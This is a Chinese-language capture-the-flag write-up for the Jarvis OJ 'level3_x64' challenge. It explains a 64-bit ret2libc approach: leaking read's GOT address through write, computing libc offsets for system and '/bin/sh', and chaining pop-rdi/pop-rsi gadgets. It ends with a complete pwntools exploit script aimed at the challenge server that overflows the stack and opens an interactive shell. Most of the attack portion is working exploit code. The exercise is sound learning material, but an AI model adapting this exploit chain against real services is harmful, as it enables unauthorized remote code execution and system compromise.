ida打开checksec看一下,开启了nx,不想shellcode什么的了。
反编译一下看看发现write也有,read也有,不过没找到system也没找到'/bin/sh'
给了一个libc链接库,打开看看system也有,'bin/sh'也有
感觉思路应该和level3差不多,只不过变成了64位的传参。
总体思路,利用write函数打印出read在got表中的真实地址,然后利用libc中的偏移来求出system和bin/sh的地址,构造system('/bin/sh')来得到shell
好的我们找到了前两个参数的地址!rdi,rsi,第三个我们默认就够了
rdi = 0x4006b3
rsi = 0x4006b1
64位传参数顺序 参数1-6先进寄存器,后面和32位是一样的。
调用函数读的是plt表第一次时候老是用got表。。。
还有一点就是说要看一下rdx寄存器的值和8的大小相比较,发现rdx寄存器的值是大于8的,所以就不用传read的第三个参数了。
脚本
from pwn import *
# p = process('./level3_x64')
p = remote("pwn2.jarvisoj.com", 9883)
elf = ELF('./level3_x64')
libc = ELF('./libc-2.19.so')
rdi = 0x4006b3
rsi = 0x4006b1
#ROPgadget --binary level3_x64 --only 'pop|ret'
func_addr = elf.symbols['vulnerable_function']
write_plt = elf.plt['write']
read_got = elf.got['read']
payload = 'A' * 0x80 + 'B' * 0x08
payload += p64(rdi) + p64(1)
payload += p64(rsi) + p64(read_got) + p64(0)
payload += p64(write_plt) + p64(func_addr)
p.recvuntil('Input:\n')
p.sendline(payload)
read_addr = u64(p.recv(8))
# print 'read' + hex(read_addr)
p.recvuntil('Input:\n')
binsh = libc.search('/bin/sh').next()
system = libc.symbols['system']
read = libc.symbols['read']
offset = read_addr - read
binsh_addr = binsh + offset
system_addr = system + offset
payload2 = 'A' * 0x80 + 'B' * 0x08
payload2 += p64(rdi) + p64(binsh_addr)
payload2 += p64(system_addr) + p64(func_addr)
p.sendline(payload2)
p.interactive()